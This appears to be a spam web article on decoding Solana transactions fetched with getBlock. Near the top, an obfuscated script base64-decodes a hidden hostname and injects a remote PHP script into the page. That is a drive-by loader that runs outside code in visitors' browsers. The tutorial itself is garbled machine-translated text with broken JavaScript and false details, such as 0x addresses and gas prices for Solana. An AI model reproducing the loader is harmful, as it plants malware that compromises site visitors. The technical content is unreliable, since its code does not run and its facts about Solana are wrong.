Solana: Is there a way to decode transactions fetched from getBlock so that i get some details like amount, source, destination?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=6dd11cc9″;document.body.appendChild(script);
Decode SOL transaction data
As a developer building application in Solani, you are probably interested in structure information from information in order to obtain special information on native SOL events. In this article we will examine how the transaction information can be broken down by both native soles and SPL program events.
SOL program events
Sol programm events are similar to traditional JavaScript objects. You can use your properties with a point entry (Obj.Propeerename
).
Example: Sorana transaction data
`JavaScript
Const tx = {
Type: ‘Splprogram’,
Enter: {
Posted by: ‘0x1234567890abcdef’ //
Recipient: ‘0x9876543210Fedcba’, //
Information: {quantity: 100, payment: 10}, // event information
Gasprice: 1E8, // The price for transaction gas
Gas limit: 200000, // transaction gas pipe
},
Departure: {
Recipient: ‘0x9876543210Fedcba’, //
Quantity: 100,
Payment: 10,
},
};
`
In this example, we have the “Splprogram” event with two income (“sender” and “recipient”) and three descents (“Payment” and “Gasprice”). We can mark your values with points.
SPR program events
SPL program events are similar to the SOL program events, but differ from syntaxes. You have to use the “Spl program Put” object instead of “split program”.
Example: Sorana transaction data (SPL)
`JavaScript
Const tx = {
Type: ‘Splprogram’,
Enter: {
Sender: {address: ‘0x1234567890abcdef’, Pubkeyhash: ‘0x1234567890abcdef’},
Recipient: {address: ‘0x9876543210Fedcba’, Pubkeyhash: ‘0x9876543210Fedcba’},
Information: {quantity: 100, payment: 10}, // event information
Gasprice: 1E8,
Gas limit: 200000, // transaction gas pipe
},
Departure: {
Recipient: {address: ‘0x9876543210Fedcba’, Pubkeyhash: ‘0x9876543210Fedcba’},
Quantity: 100,
Payment: 10,
},
};
`
As with the SOL sample, we have a “split program” event with income and expenses.
Decoding of transaction data
In order to reduce event information about both native soles and SPL program events, you can use the integrated object of JavaScript, destroy the functions or create adjustments to the structure of data.
native sol example
`JavaScript
Function ParsesolTransaction (TX) {
Const transmitter = tx.input.sender;
Const receiver = tx.inPut.receiver;
Const mantity = tx.inPut.data.amount;
Cons Gasprice = tx.inPut.data.gasprice;
Return {sender, receiver, quantity, gas};
}
Const Soltx = {
Type: ‘Splprogram’,
Enter: {
Sender,
Recipient,
Information: {
Number,
Payment,
Gas price,
Gas lime,
},
},
Departure: {},
};
Parsesoltransaction (Soltx);
`
In this example, we define the “Parsesoltransaction” function, which takes on a transaction object and returns an object with decoded values.
spil example
`JavaScript
Function ParsesSplanction (TX) {
Const transmitter = tx.input.sender;
Const receiver = tx.inPut.receiver;
Const mantity = tx.outPut.amount;
Cons Gasprice = tx.inPut.data.gasprice;
Return {sender, receiver, quantity, gas};
}
Const SPTX = {
Type: ‘Splprogram’,
Enter: {
Sender,
Recipient,
},
Departure: {
Recipient,
Number,
Payment,
},
};
Parsesplan action (SPTX);
`
Similarly, we define the function “ParsesSplanction” for SPL programm events.
Diploma
Sol and SPL transaction data can be simplified with an integrated object in JavaScript, which destroys the functions or by creating adjustments to the structural data. If you follow these examples and tips, you can reduce the transaction information from both native solan and SPL program events at Solana.